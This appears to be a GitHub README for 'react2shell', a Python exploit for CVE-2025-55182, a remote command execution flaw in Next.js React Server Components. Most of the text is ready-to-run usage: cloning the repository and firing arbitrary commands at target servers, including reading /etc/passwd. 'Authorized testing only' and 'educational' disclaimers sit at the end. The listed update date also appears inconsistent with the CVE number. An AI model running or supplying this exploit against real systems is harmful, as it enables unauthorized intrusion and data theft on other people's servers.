
An exploitation tool for the Next.js vulnerability CVE-2025-55182 that allows remote command execution through a poisoning prototype in React Server Components.
Python exploit for Next.js React Server Components RCE vulnerability with HTTP/HTTPS support.
# Clone & run
git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git
cd react2shell-CVE-2025-55182
python3 exploit_react2shell.py <URL> "<command>"
# HTTP
python3 exploit_react2shell.py http://target.com:3000 "id"
python3 exploit_react2shell.py 192.168.1.100:8080 "ls -la"
# HTTPS
python3 exploit_react2shell.py https://target.com "whoami"
python3 exploit_react2shell.py https://target.com:8443 "cat /etc/passwd"
For authorized security testing only.
Use only on systems you own or have explicit permission to test. Never use for illegal activities.
child_process.execSync()MIT License - see LICENSE file
Disclaimer: Educational purposes only. Always obtain proper authorization.
Last Updated: February 8, 2025
Version: 2.0.0
Maintainer: BrianLopezM99